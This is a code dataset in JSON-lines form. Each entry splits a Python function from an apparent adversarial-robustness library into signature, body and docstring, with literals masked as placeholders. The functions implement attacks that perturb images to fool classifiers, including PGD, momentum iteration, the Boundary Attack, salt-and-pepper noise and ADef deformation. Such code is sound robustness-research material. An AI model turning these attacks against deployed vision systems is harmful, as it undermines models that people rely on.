ratio constant and using their values to start\n            the search. If False, hyperparameters are not optimized.\n            Can also be an integer, specifying the number of binary\n            search steps (default 20).\n        epsilon : float\n            Limit on the perturbation size; if binary_search is True,\n            this value is only for initialization and automatically\n            adapted.\n        stepsize : float\n            Step size for gradient descent; if binary_search is True,\n            this value is only for initialization and automatically\n            adapted.\n        iterations : int\n            Number of iterations for each gradient descent run.\n        random_start : bool\n            Start the attack from a random point rather than from the\n            original input.\n        return_early : bool\n            Whether an individual gradient descent run should stop as\n            soon as an adversarial is found.", "id": "f8104:c13:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>binary_search=True,<EOL>epsilon=<NUM_LIT>,<EOL>stepsize=<NUM_LIT>,<EOL>iterations=<NUM_LIT>,<EOL>random_start=True,<EOL>return_early=True):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>assert epsilon > <NUM_LIT:0><EOL>self._run(a, binary_search,<EOL>epsilon, stepsize, iterations,<EOL>random_start, return_early)<EOL>", "docstring": "Simple iterative gradient-based attack known as\n        Basic Iterative Method, Projected Gradient Descent or FGSM^k.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        binary_search : bool or int\n            Whether to perform a binary search over epsilon and stepsize,\n            keeping their ratio constant and using their values to start\n            the search. If False, hyperparameters are not optimized.\n            Can also be an integer, specifying the number of binary\n            search steps (default 20).\n        epsilon : float\n            Limit on the perturbation size; if binary_search is True,\n            this value is only for initialization and automatically\n            adapted.\n        stepsize : float\n            Step size for gradient descent; if binary_search is True,\n            this value is only for initialization and automatically\n            adapted.\n        iterations : int\n            Number of iterations for each gradient descent run.\n        random_start : bool\n            Start the attack from a random point rather than from the\n            original input.\n        return_early : bool\n            Whether an individual gradient descent run should stop as\n            soon as an adversarial is found.", "id": "f8104:c14:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>binary_search=True,<EOL>epsilon=<NUM_LIT>,<EOL>stepsize=<NUM_LIT>,<EOL>iterations=<NUM_LIT:10>,<EOL>decay_factor=<NUM_LIT:1.0>,<EOL>random_start=False,<EOL>return_early=True):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>assert epsilon > <NUM_LIT:0><EOL>self._decay_factor = decay_factor<EOL>self._run(a, binary_search,<EOL>epsilon, stepsize, iterations,<EOL>random_start, return_early)<EOL>", "docstring": "Momentum-based iterative gradient attack known as\n        Momentum Iterative Method.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        binary_search : bool\n            Whether to perform a binary search over epsilon and stepsize,\n            keeping their ratio constant and using their values to start\n            the search. If False, hyperparameters are not optimized.\n            Can also be an integer, specifying the number of binary\n            search steps (default 20).\n        epsilon : float\n            Limit on the perturbation size; if binary_search is True,\n            this value is only for initialization and automatically\n            adapted.\n        stepsize : float\n            Step size for gradient descent; if binary_search is True,\n            this value is only for initialization and automatically\n            adapted.\n        iterations : int\n            Number of iterations for each gradient descent run.\n        decay_factor : float\n            Decay factor used by the momentum term.\n        random_start : bool\n            Start the attack from a random point rather than from the\n            original input.\n        return_early : bool\n            Whether an individual gradient descent run should stop as\n            soon as an adversarial is found.", "id": "f8104:c15:m2"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(<EOL>self,<EOL>input_or_adv,<EOL>label=None,<EOL>unpack=True,<EOL>iterations=<NUM_LIT>,<EOL>max_directions=<NUM_LIT>,<EOL>starting_point=None,<EOL>initialization_attack=None,<EOL>log_every_n_steps=<NUM_LIT:1>,<EOL>spherical_step=<NUM_LIT>,<EOL>source_step=<NUM_LIT>,<EOL>step_adaptation=<NUM_LIT>,<EOL>batch_size=<NUM_LIT:1>,<EOL>tune_batch_size=True,<EOL>threaded_rnd=True,<EOL>threaded_gen=True,<EOL>alternative_generator=False,<EOL>internal_dtype=np.float64,<EOL>verbose=False):<DEDENT>", "body": "<EOL>self.log_every_n_steps = log_every_n_steps<EOL>self._starting_point = starting_point<EOL>self._initialization_attack = initialization_attack<EOL>self.batch_size = batch_size<EOL>self.max_directions = max_directions<EOL>self.step_adaptation = step_adaptation<EOL>self.spherical_step = spherical_step<EOL>self.source_step = source_step<EOL>self.internal_dtype = internal_dtype<EOL>self.verbose = verbose<EOL>if not verbose:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>if alternative_generator:<EOL><INDENT>self.generate_candidate = self.generate_candidate_alternative<EOL><DEDENT>else:<EOL><INDENT>self.generate_candidate = self.generate_candidate_default<EOL><DEDENT>return self._apply_outer(<EOL>input_or_adv,<EOL>iterations=iterations,<EOL>tune_batch_size=tune_batch_size,<EOL>threaded_rnd=threaded_rnd,<EOL>threaded_gen=threaded_gen)<EOL>", "docstring": "Applies the Boundary Attack.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, correctly classified image. If image is a\n            numpy array, label must be passed as well. If image is\n            an :class:`Adversarial` instance, label must not be passed.\n        label : int\n            The reference label of the original image. Must be passed\n            if image is a numpy array, must not be passed if image is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial image, otherwise returns\n            the Adversarial object.\n        iterations : int\n            Maximum number of iterations to run. Might converge and stop\n            before that.\n        max_directions : int\n            Maximum number of trials per ieration.\n        starting_point : `numpy.ndarray`\n            Adversarial input to use as a starting point, in particular\n            for targeted attacks.\n        initialization_attack : :class:`Attack`\n            Attack to use to find a starting point. Defaults to\n            BlendedUniformNoiseAttack.\n        log_every_n_steps : int\n            Determines verbositity of the logging.\n        spherical_step : float\n            Initial step size for the orthogonal (spherical) step.\n        source_step : float\n            Initial step size for the step towards the target.\n        step_adaptation : float\n            Factor by which the step sizes are multiplied or divided.\n        batch_size : int\n            Batch size or initial batch size if tune_batch_size is True\n        tune_batch_size : bool\n            Whether or not the batch size should be automatically chosen\n            between 1 and max_directions.\n        threaded_rnd : bool\n            Whether the random number generation should be multithreaded.\n        threaded_gen : bool\n            Whether the candidate point generation should be multithreaded.\n        alternative_generator: bool\n            Whether an alternative implemenation of the candidate generator\n            should be used.\n        internal_dtype : np.float32 or np.float64\n            Higher precision might be slower but is numerically more stable.\n        verbose : bool\n            Controls verbosity of the attack.", "id": "f8105:c0:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>epsilons=<NUM_LIT:1000>, max_epsilon=<NUM_LIT:1>):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>return self._run(a, epsilons=epsilons, max_epsilon=max_epsilon)<EOL>", "docstring": "Perturbs the image with the gradient of the loss w.r.t. the image,\n        gradually increasing the magnitude until the image is misclassified.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        epsilons : int or Iterable[float]\n            Either Iterable of step sizes in the gradient direction\n            or number of step sizes between 0 and max_epsilon that should\n            be tried.\n        max_epsilon : float\n            Largest step size if epsilons is not an iterable.", "id": "f8106:c1:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>epsilons=<NUM_LIT:1000>, max_epsilon=<NUM_LIT:1>):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>return self._run(a, epsilons=epsilons, max_epsilon=max_epsilon)<EOL>", "docstring": "Adds the sign of the gradient to the image, gradually increasing\n        the magnitude until the image is misclassified.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        epsilons : int or Iterable[float]\n            Either Iterable of step sizes in the direction of the sign of\n            the gradient or number of step sizes between 0 and max_epsilon\n            that should be tried.\n        max_epsilon : float\n            Largest step size if epsilons is not an iterable.", "id": "f8106:c2:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>epsilons=<NUM_LIT:100>, repetitions=<NUM_LIT:10>):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>image = a.original_image<EOL>min_, max_ = a.bounds()<EOL>axis = a.channel_axis(batch=False)<EOL>channels = image.shape[axis]<EOL>shape = list(image.shape)<EOL>shape[axis] = <NUM_LIT:1><EOL>r = max_ - min_<EOL>pixels = np.prod(shape)<EOL>epsilons = min(epsilons, pixels)<EOL>max_epsilon = <NUM_LIT:1><EOL>for _ in range(repetitions):<EOL><INDENT>for epsilon in np.linspace(<NUM_LIT:0>, max_epsilon, num=epsilons + <NUM_LIT:1>)[<NUM_LIT:1>:]:<EOL><INDENT>p = epsilon<EOL>u = nprng.uniform(size=shape)<EOL>u = u.repeat(channels, axis=axis)<EOL>salt = (u >= <NUM_LIT:1> - p / <NUM_LIT:2>).astype(image.dtype) * r<EOL>pepper = -(u < p / <NUM_LIT:2>).astype(image.dtype) * r<EOL>perturbed = image + salt + pepper<EOL>perturbed = np.clip(perturbed, min_, max_)<EOL>if a.normalized_distance(perturbed) >= a.distance:<EOL><INDENT>continue<EOL><DEDENT>_, is_adversarial = a.predictions(perturbed)<EOL>if is_adversarial:<EOL><INDENT>max_epsilon = min(<NUM_LIT:1>, epsilon * <NUM_LIT>)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Increases the amount of salt and pepper noise until the\n        image is misclassified.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        epsilons : int\n            Number of steps to try between probability 0 and 1.\n        repetitions : int\n            Specifies how often the attack will be repeated.", "id": "f8107:c0:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True,<EOL>max_iter=<NUM_LIT:100>,<EOL>eta=<NUM_LIT>):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>if not a.has_gradient():<EOL><INDENT>return<EOL><DEDENT>if a.target_class() is not None:<EOL><INDENT>logging.fatal('<STR_LIT>')<EOL>return<EOL><DEDENT>l2_norm = np.linalg.norm(a.original_image)<EOL>min_, max_ = a.bounds()<EOL>perturbed_image = a.original_image.copy()<EOL>for i in range(max_iter):<EOL><INDENT>logits, gradients, is_adversarial =a.predictions_and_gradient(perturbed_image)<EOL>if is_adversarial:<EOL><INDENT>return<EOL><DEDENT>score = np.max(softmax(logits))<EOL>gradients = -gradients / score<EOL>gradient_l2_norm = np.linalg.norm(gradients)<EOL>delta = self._delta(eta, l2_norm, score,<EOL>gradient_l2_norm, a.num_classes())<EOL>current_pertubation = self._perturbation(delta,<EOL>gradients,<EOL>gradient_l2_norm)<EOL>perturbed_image += current_pertubation<EOL>perturbed_image = np.clip(perturbed_image, min_, max_)<EOL><DEDENT>", "docstring": "Parameters\n----------\ninput_or_adv : `numpy.ndarray` or :class:`Adversarial`\n    The original, unperturbed input as a `numpy.ndarray` or\n    an :class:`Adversarial` instance.\nlabel : int\n    The reference label of the original input. Must be passed\n    if `a` is a `numpy.ndarray`, must not be passed if `a` is\n    an :class:`Adversarial` instance.\nunpack : bool\n    If true, returns the adversarial input, otherwise returns\n    the Adversarial object.\nmax_iter : int\n    The maximum number of iterations.\neta : float\n    the eta coefficient", "id": "f8108:c0:m0"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, label=None, unpack=True):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>image = a.original_image<EOL>dtype = a.original_image.dtype<EOL>min_, max_ = a.bounds()<EOL>shape = image.shape<EOL>n = image.size<EOL>image = image.flatten()<EOL>x0 = nprng.uniform(min_, max_, size=image.shape)<EOL>bounds = [(min_, max_)] * n<EOL>options = {'<STR_LIT>': <NUM_LIT>}<EOL>def fun(x, *args):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>distance = a.normalized_distance(x.reshape(shape))<EOL>return distance.value, distance.gradient.reshape(-<NUM_LIT:1>)<EOL><DEDENT>def eq_constraint(x, *args):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>_, is_adv = a.predictions(x.reshape(shape).astype(dtype))<EOL>if is_adv:<EOL><INDENT>return <NUM_LIT:0.><EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:1.><EOL><DEDENT><DEDENT>constraints = [<EOL>{<EOL>'<STR_LIT:type>': '<STR_LIT>',<EOL>'<STR_LIT>': eq_constraint,<EOL>}<EOL>]<EOL>result = so.minimize(<EOL>fun,<EOL>x0,<EOL>method='<STR_LIT>',<EOL>jac=True,<EOL>bounds=bounds,<EOL>constraints=constraints,<EOL>options=options)<EOL>a.predictions(result.x.reshape(shape).astype(dtype))<EOL>", "docstring": "Uses SLSQP to minimize the distance between the image and the\n        adversarial under the constraint that the image is adversarial.\n\n        Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, correctly classified image. If image is a\n            numpy array, label must be passed as well. If image is\n            an :class:`Adversarial` instance, label must not be passed.\n        label : int\n            The reference label of the original image. Must be passed\n            if image is a numpy array, must not be passed if image is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial image, otherwise returns\n            the Adversarial object.", "id": "f8109:c0:m0"}
{"signature": "def _difference_map(image, color_axis):", "body": "if color_axis == <NUM_LIT:2>:<EOL><INDENT>image = _transpose_image(image)<EOL><DEDENT>dfdx = np.zeros_like(image)<EOL>dfdx[:, :, <NUM_LIT:0>] = image[:, :, <NUM_LIT:1>] - image[:, :, <NUM_LIT:0>]<EOL>dfdx[:, :, -<NUM_LIT:1>] = image[:, :, -<NUM_LIT:1>] - image[:, :, -<NUM_LIT:2>]<EOL>dfdx[:, :, <NUM_LIT:1>:-<NUM_LIT:1>] = <NUM_LIT:0.5> * (image[:, :, <NUM_LIT:2>:] - image[:, :, :-<NUM_LIT:2>])<EOL>dfdy = np.zeros_like(image)<EOL>dfdy[:, <NUM_LIT:0>, :] = image[:, <NUM_LIT:1>, :] - image[:, <NUM_LIT:0>, :]<EOL>dfdy[:, -<NUM_LIT:1>, :] = image[:, -<NUM_LIT:1>, :] - image[:, -<NUM_LIT:2>, :]<EOL>dfdy[:, <NUM_LIT:1>:-<NUM_LIT:1>, :] = <NUM_LIT:0.5> * (image[:, <NUM_LIT:2>:, :] - image[:, :-<NUM_LIT:2>, :])<EOL>return dfdx, dfdy<EOL>", "docstring": "Difference map of the image.\n    Approximate derivatives of the function image[c, :, :]\n    (e.g. PyTorch) or image[:, :, c] (e.g. Keras).\n    dfdx, dfdy = difference_map(image)\n    In:\n    image: numpy.ndarray\n        of shape C x h x w or h x w x C, with C = 1 or C = 3\n        (color channels), h, w >= 3, and [type] is 'Float' or\n        'Double'. Contains the values of functions f_b:\n        R ^ 2 -> R ^ C, b = 1, ..., B, on the grid\n        {0, ..., h - 1} x {0, ..., w - 1}.\n    Out:\n    dfdx: numpy.ndarray\n    dfdy: numpy.ndarray\n        of shape C x h x w or h x w x C contain the x and\n        y derivatives of f at the points on the grid,\n        approximated by central differences (except on\n        boundaries):\n        For c = 0, ... , C, i = 1, ..., h - 2,\n        j = 1, ..., w - 2.\n        e.g. for shape = c x h x w:\n        dfdx[c, i, j] = (image[c, i, j + 1] -\n            image[c, i, j - 1]) / 2\n        dfdx[c, i, j] = (image[c, i + 1, j] -\n            image[c, i - 1, j]) / 2\n    positive x-direction is along rows from left to right.\n    positive y-direction is along columns from above to below.", "id": "f8110:m2"}
{"signature": "def _compose(image, vec_field, color_axis):", "body": "if color_axis == <NUM_LIT:2>:<EOL><INDENT>image = _transpose_image(image)<EOL><DEDENT>c, h, w = image.shape  <EOL>hrange = np.arange(h)<EOL>wrange = np.arange(w)<EOL>MGx, MGy = np.meshgrid(wrange, hrange)<EOL>defMGx = (MGx + vec_field[:, :, <NUM_LIT:0>]).clip(<NUM_LIT:0>, w - <NUM_LIT:1>)<EOL>defMGy = (MGy + vec_field[:, :, <NUM_LIT:1>]).clip(<NUM_LIT:0>, h - <NUM_LIT:1>)<EOL>new_image = np.empty_like(image)<EOL>for channel in range(c):<EOL><INDENT>interpolation = RectBivariateSpline(hrange, wrange, image[channel],<EOL>kx=<NUM_LIT:1>, ky=<NUM_LIT:1>)<EOL>new_image[channel] = interpolation(defMGy, defMGx, grid=False)<EOL><DEDENT>if color_axis == <NUM_LIT:2>:<EOL><INDENT>return _re_transpose_image(new_image)<EOL><DEDENT>else:<EOL><INDENT>return new_image<EOL><DEDENT>", "docstring": "Calculate the composition of the function image with the vector\n    field vec_field by interpolation.\n    new_func = compose(image, vec_field)\n    In:\n    image: numpy.ndarray\n        of shape C x h x w with C = 3 or C = 1 (color channels),\n        h, w >= 2, and [type] = 'Float' or 'Double'.\n        Contains the values of a function f: R ^ 2 -> R ^ C\n        on the grid {0, ..., h - 1} x {0, ..., w - 1}.\n    vec_field: numpy.array\n        of shape (h, w, 2)\n    vec_field[y, x, 0] is the x-coordinate of the vector vec_field[y, x]\n    vec_field[y, x, 1] is the y-coordinate of the vector vec_field[y, x]\n    positive x-direction is along rows from left to right\n    positive y-direction is along columns from above to below", "id": "f8110:m3"}
{"signature": "def _create_vec_field(fval, gradf, d1x, d2x, color_axis, smooth=<NUM_LIT:0>):", "body": "if color_axis == <NUM_LIT:2>:<EOL><INDENT>gradf = _transpose_image(gradf)<EOL><DEDENT>c, h, w = gradf.shape  <EOL>alpha1 = np.sum(gradf * d1x, axis=<NUM_LIT:0>)<EOL>alpha2 = np.sum(gradf * d2x, axis=<NUM_LIT:0>)<EOL>norm_squared_alpha = (alpha1 ** <NUM_LIT:2>).sum() + (alpha2 ** <NUM_LIT:2>).sum()<EOL>if smooth > <NUM_LIT:0>:<EOL><INDENT>alpha1 = gaussian_filter(alpha1, smooth)<EOL>alpha2 = gaussian_filter(alpha2, smooth)<EOL>norm_squared_alpha = (alpha1 ** <NUM_LIT:2>).sum() + (alpha2 ** <NUM_LIT:2>).sum()<EOL>alpha1 = gaussian_filter(alpha1, smooth)<EOL>alpha2 = gaussian_filter(alpha2, smooth)<EOL><DEDENT>vec_field = np.empty((h, w, <NUM_LIT:2>))<EOL>vec_field[:, :, <NUM_LIT:0>] = -fval * alpha1 / norm_squared_alpha<EOL>vec_field[:, :, <NUM_LIT:1>] = -fval * alpha2 / norm_squared_alpha<EOL>return vec_field<EOL>", "docstring": "Calculate the deformation vector field\n    In:\n    fval: float\n    gradf: numpy.ndarray\n        of shape C x h x w with C = 3 or C = 1\n        (color channels), h, w >= 1.\n    d1x: numpy.ndarray\n        of shape C x h x w and [type] = 'Float' or 'Double'.\n    d2x: numpy.ndarray\n        of shape C x h x w and [type] = 'Float' or 'Double'.\n    smooth: float\n        Width of the Gaussian kernel used for smoothing\n        (default is 0 for no smoothing).\n    Out:\n    vec_field: numpy.ndarray\n        of shape (2, h, w).", "id": "f8110:m4"}
{"signature": "@call_decorator<EOL><INDENT>def __call__(self, input_or_adv, unpack=True, max_iter=<NUM_LIT:100>,<EOL>max_norm=np.inf, label=None, smooth=<NUM_LIT:1.0>, subsample=<NUM_LIT:10>):<DEDENT>", "body": "a = input_or_adv<EOL>del input_or_adv<EOL>del label<EOL>del unpack<EOL>if not a.has_gradient():<EOL><INDENT>return<EOL><DEDENT>perturbed = a.original_image.copy()  <EOL>image_original = a.original_image.copy()<EOL>target_class = a.target_class()<EOL>targeted = target_class is not None<EOL>original_label = a.original_class<EOL>if targeted:<EOL><INDENT>logits, _ = a.predictions(perturbed)<EOL>pred_sorted = (-logits).argsort()<EOL>index_of_target_class, = np.where(pred_sorted == target_class)<EOL>ind_of_candidates = index_of_target_class<EOL><DEDENT>else:<EOL><INDENT>logging.info('<STR_LIT>'.format(subsample))<EOL>assert isinstance(subsample, int)<EOL>assert subsample >= <NUM_LIT:2><EOL>ind_of_candidates = np.arange(<NUM_LIT:1>, subsample)<EOL><DEDENT>num_classes = ind_of_candidates.size<EOL>n = <NUM_LIT:0>  <EOL>color_axis = a.channel_axis(batch=False)  <EOL>assert color_axis in [<NUM_LIT:0>, <NUM_LIT:2>]<EOL>hw = [perturbed.shape[i] for i in range(perturbed.ndim)<EOL>if i != color_axis]<EOL>h, w = hw<EOL>logits, is_adv = a.predictions(perturbed)<EOL>candidates = np.argsort(-logits)[ind_of_candidates]<EOL>fx = logits - logits[original_label]<EOL>norm_full = <NUM_LIT:0>  <EOL>vec_field_full = np.zeros((h, w, <NUM_LIT:2>))  <EOL>current_label = original_label<EOL>logging.info('<STR_LIT>')<EOL>logging.info('<STR_LIT>'.format(current_label))<EOL>for step in range(max_iter):<EOL><INDENT>n += <NUM_LIT:1><EOL>_, is_adv = a.predictions(perturbed)<EOL>if is_adv:<EOL><INDENT>a.predictions(perturbed)<EOL>logging.info(<EOL>'<STR_LIT>'.format(<EOL>original_label, current_label))<EOL>self.vector_field = vec_field_full<EOL>return<EOL><DEDENT>d1x, d2x = _difference_map(perturbed, color_axis)<EOL>logits_for_grad = np.zeros_like(logits)<EOL>logits_for_grad[original_label] = <NUM_LIT:1><EOL>grad_original = a.backward(logits_for_grad, perturbed)<EOL>norm_min = np.inf<EOL>for target_no in range(num_classes):<EOL><INDENT>target_label = candidates[target_no]<EOL>logits_for_grad = np.zeros_like(logits)<EOL>logits_for_grad[target_label] = <NUM_LIT:1><EOL>grad_target = a.backward(logits_for_grad, perturbed)<EOL>dfx = grad_target - grad_original<EOL>f_im = fx[target_label]<EOL>vec_field_target = _create_vec_field(<EOL>f_im, dfx, d1x, d2x, color_axis, smooth)<EOL>vec_field_target += vec_field_full<EOL>norm_target = np.linalg.norm(vec_field_target.ravel())<EOL>if norm_target < norm_min:<EOL><INDENT>norm_min = norm_target<EOL>vec_field_min = vec_field_target<EOL><DEDENT><DEDENT>perturbed = _compose(image_original.copy(), vec_field_min,<EOL>color_axis)<EOL>vec_field_full = vec_field_min<EOL>norm_full = norm_min<EOL>logits, _ = a.predictions(perturbed)<EOL>current_label = np.argmax(logits)<EOL>fx = logits - logits[current_label]<EOL>logging.info('<STR_LIT>'.format(n))<EOL>logging.info('<STR_LIT>'.format(current_label))<EOL>logging.info('<STR_LIT>'.format(norm_full))<EOL><DEDENT>logits, _ = a.predictions(perturbed)<EOL>current_label = np.argmax(logits)<EOL>logging.info('<STR_LIT>'.format(original_label, current_label))<EOL>a.predictions(perturbed)<EOL>self.vector_field = vec_field_full<EOL>return<EOL>", "docstring": "Parameters\n        ----------\n        input_or_adv : `numpy.ndarray` or :class:`Adversarial`\n            The original, unperturbed input as a `numpy.ndarray` or\n            an :class:`Adversarial` instance.\n        label : int\n            The reference label of the original input. Must be passed\n            if `a` is a `numpy.ndarray`, must not be passed if `a` is\n            an :class:`Adversarial` instance.\n        unpack : bool\n            If true, returns the adversarial input, otherwise returns\n            the Adversarial object.\n        max_iter : int > 0\n            Maximum number of iterations (default max_iter = 100).\n        max_norm : float\n            Maximum l2 norm of vector field (default max_norm = numpy.inf).\n        smooth : float >= 0\n            Width of the Gaussian kernel used for smoothing.\n            (default is smooth = 0 for no smoothing).\n        subsample : int >= 2\n            Limit on the number of the most likely classes that should\n            be considered. A small value is usually sufficient and much\n            faster. (default subsample = 10)", "id": "f8110:c0:m1"}
{"signature": "@property<EOL><INDENT>def image(self):<DEDENT>", "body": "return self.__best_adversarial<EOL>", "docstring": "The best adversarial found so far.", "id": "f8111:c1:m2"}
{"signature": "@property<EOL><INDENT>def output(self):<DEDENT>", "body": "return self.__best_adversarial_output<EOL>", "docstring": "The model predictions for the best adversarial found so far.\n\n        None if no adversarial has been found.", "id": "f8111:c1:m3"}
{"signature": "@property<EOL><INDENT>def adversarial_class(self):<DEDENT>", "body": "if self.output is None:<EOL><INDENT>return None<EOL><DEDENT>return np.argmax(self.output)<EOL>", "docstring": "The argmax of the model predictions for the best adversarial found so far.\n\n        None if no adversarial has been found.", "id": "f8111:c1:m4"}
{"signature": "@property<EOL><INDENT>def distance(self):<DEDENT>", "body": "return self.__best_distance<EOL>", "docstring": "The distance of the adversarial input to the original input.", "id": "f8111:c1:m5"}
{"signature": "@property<EOL><INDENT>def original_image(self):<DEDENT>", "body": "return self.__original_image<EOL>", "docstring": "The original input.", "id": "f8111:c1:m6"}
{"signature": "@property<EOL><INDENT>def original_class(self):<DEDENT>", "body": "<EOL>return self.__original_class<EOL>", "docstring": "The class of the original input (ground-truth, not model prediction).", "id": "f8111:c1:m7"}
{"signature": "@property<EOL><INDENT>def _model(self):  <DEDENT>", "body": "return self.__model<EOL>", "docstring": "Should not be used.", "id": "f8111:c1:m8"}
{"signature": "@property<EOL><INDENT>def _criterion(self):  <DEDENT>", "body": "return self.__criterion<EOL>", "docstring": "Should not be used.", "id": "f8111:c1:m9"}
{"signature": "@property<EOL><INDENT>def _distance(self):  <DEDENT>", "body": "return self.__distance<EOL>", "docstring": "Should not be used.", "id": "f8111:c1:m10"}
{"signature": "def normalized_distance(self, image):", "body": "return self.__distance(<EOL>self.__original_image_for_distance,<EOL>image,<EOL>bounds=self.bounds())<EOL>", "docstring": "Calculates the distance of a given image to the\n        original image.\n\n        Parameters\n        ----------\n        image : `numpy.ndarray`\n            The image that should be compared to the original image.\n\n        Returns\n        -------\n        :class:`Distance`\n            The distance between the given image and the original image.", "id": "f8111:c1:m13"}
{"signature": "def reached_threshold(self):", "body": "return self.__threshold is not Noneand self.__best_distance <= self.__threshold<EOL>", "docstring": "Returns True if a threshold is given and the currently\n        best adversarial distance is smaller than the threshold.", "id": "f8111:c1:m14"}
{"signature": "def __is_adversarial(self, image, predictions, in_bounds):", "body": "is_adversarial = self.__criterion.is_adversarial(<EOL>predictions, self.__original_class)<EOL>assert isinstance(is_adversarial, bool) orisinstance(is_adversarial, np.bool_)<EOL>if is_adversarial:<EOL><INDENT>is_best, distance = self.__new_adversarial(<EOL>image, predictions, in_bounds)<EOL><DEDENT>else:<EOL><INDENT>is_best = False<EOL>distance = None<EOL><DEDENT>return is_adversarial, is_best, distance<EOL>", "docstring": "Interface to criterion.is_adverarial that calls\n        __new_adversarial if necessary.\n\n        Parameters\n        ----------\n        predictions : :class:`numpy.ndarray`\n            A vector with the pre-softmax predictions for some image.\n        label : int\n            The label of the unperturbed reference image.", "id": "f8111:c1:m16"}
{"signature": "def target_class(self):", "body": "try:<EOL><INDENT>target_class = self.__criterion.target_class()<EOL><DEDENT>except AttributeError:<EOL><INDENT>target_class = None<EOL><DEDENT>return target_class<EOL>", "docstring": "Interface to criterion.target_class for attacks.", "id": "f8111:c1:m17"}
{"signature": "def channel_axis(self, batch):", "body": "axis = self.__model.channel_axis()<EOL>if not batch:<EOL><INDENT>axis = axis - <NUM_LIT:1><EOL><DEDENT>return axis<EOL>", "docstring": "Interface to model.channel_axis for attacks.\n\n        Parameters\n        ----------\n        batch : bool\n            Controls whether the index of the axis for a batch of images\n            (4 dimensions) or a single image (3 dimensions) should be returned.", "id": "f8111:c1:m21"}
{"signature": "def has_gradient(self):", "body": "try:<EOL><INDENT>self.__model.gradient<EOL>self.__model.predictions_and_gradient<EOL><DEDENT>except AttributeError:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Returns true if _backward and _forward_backward can be called\n        by an attack, False otherwise.", "id": "f8111:c1:m22"}
{"signature": "def predictions(self, image, strict=True, return_details=False):", "body": "in_bounds = self.in_bounds(image)<EOL>assert not strict or in_bounds<EOL>self._total_prediction_calls += <NUM_LIT:1><EOL>predictions = self.__model.predictions(image)<EOL>is_adversarial, is_best, distance = self.__is_adversarial(<EOL>image, predictions, in_bounds)<EOL>assert predictions.ndim == <NUM_LIT:1><EOL>if return_details:<EOL><INDENT>return predictions, is_adversarial, is_best, distance<EOL><DEDENT>else:<EOL><INDENT>return predictions, is_adversarial<EOL><DEDENT>", "docstring": "Interface to model.predictions for attacks.\n\n        Parameters\n        ----------\n        image : `numpy.ndarray`\n            Single input with shape as expected by the model\n            (without the batch dimension).\n        strict : bool\n            Controls if the bounds for the pixel values should be checked.", "id": "f8111:c1:m23"}
